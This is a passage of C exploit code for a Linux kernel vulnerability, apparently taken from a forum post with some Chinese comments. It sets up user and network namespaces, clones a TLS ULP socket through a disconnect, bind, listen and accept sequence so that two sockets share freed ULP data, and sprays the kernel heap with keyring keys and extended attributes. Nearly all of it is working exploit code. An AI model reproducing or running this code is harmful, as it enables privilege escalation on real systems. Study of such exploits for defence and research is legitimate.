perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
return -1;
}
net_if(ADD_LINK, "lo", -1, IFF_UP, true);
char edit[0x200];
int tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
return 0;
}int net_if(int action, char *type, int n, int opt, bool change) {
struct nlmsghdr *msg;
struct nlattr *opts;
struct ifinfomsg ifinfo = {};
struct ifaddrmsg ifaddr = {};
char name[0x100] = { 0 };
int sk;
strcpy(name, type);
if (n >= 0)
snprintf(name, sizeof(name), "%s-%d", type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if (!sk) {
perror("nl_init_request()");
return -1;
}
switch (action) {
case ADD_LINK:
case DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
if (action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break;
case ADD_ADDR:
case DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break;
}
// Send the netlink message and deallocate resources
return nl_complete_request(sk, msg);
}int tls1, tls2;
int set_ulp(int port){
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int tls, s, s2;
tls = socket(AF_INET, SOCK_STREAM, 0);
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
// Put the socket into ESTABLISHED state
if(bind(s, &addr, sizeof(addr)) < 0){
perror("bind");
exit(-1);
}
if(listen(s, 0) < 0){
perror("listen");
exit(-1);
}
if(connect(tls, &addr, sizeof(addr)) < 0){
perror("connect");
exit(-1);
}
// Initialize TLS ULP
if(setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0){
perror("set ulp");
}
return tls;
}int clone_tls(int tls, int port){
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int s, new;
s = socket(AF_INET, SOCK_STREAM, 0);
// Disconnect the input socket `sk`
addr.sin_family = AF_UNSPEC;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
connect(tls, &addr, sizeof(addr)); //为什么要先连接一下才能bind？
// Listen on `sk` (This should not happen!)
addr.sin_family = AF_INET;
if(bind(tls, &addr, sizeof(addr)) < 0){
perror("bind2");
exit(-1);
}
if(listen(tls, 0) < 0){
perror("listen2");
exit(-1);
}
if(connect(s, &addr, sizeof(addr)) < 0 ){
perror("connect2");
exit(-1);
}
// Clone icsk_ulp_data
new = accept(tls, &addr, &len);
// Now the input socket `sk` and `new`
// share the same icsk_ulp_data pointer
return new;
}#include "key.h"#define TOTAL_KEYS 60int kids[TOTAL_KEYS];
void spray_key(int times, int len){
char des[0x100];
memset(des, 0, sizeof(des));
char pay[0x200];
memset(pay, 0, sizeof(pay));
for(int i = 0; i < TOTAL_KEYS && i < times; i++){
memset(des, 'A'+i, 0x80);
memset(pay, 'a'+i, len);
kids[i] = key_alloc(des, pay, len);
printf("kid_%d == %d\n", i, kids[i]);
}
}#include <sys/types.h>#include <sys/xattr.h>void spray_attr(int times, int size){
const char *path = "/path/to/file";
const char *name = "user.attribute";
const char *value = "value";
int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
for(int i = 0; i < times; i++){
setxattr(path, name, value, size, flags);
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最后于 2024-8-28 14:23
被mb_btcapvow编辑
，原因：
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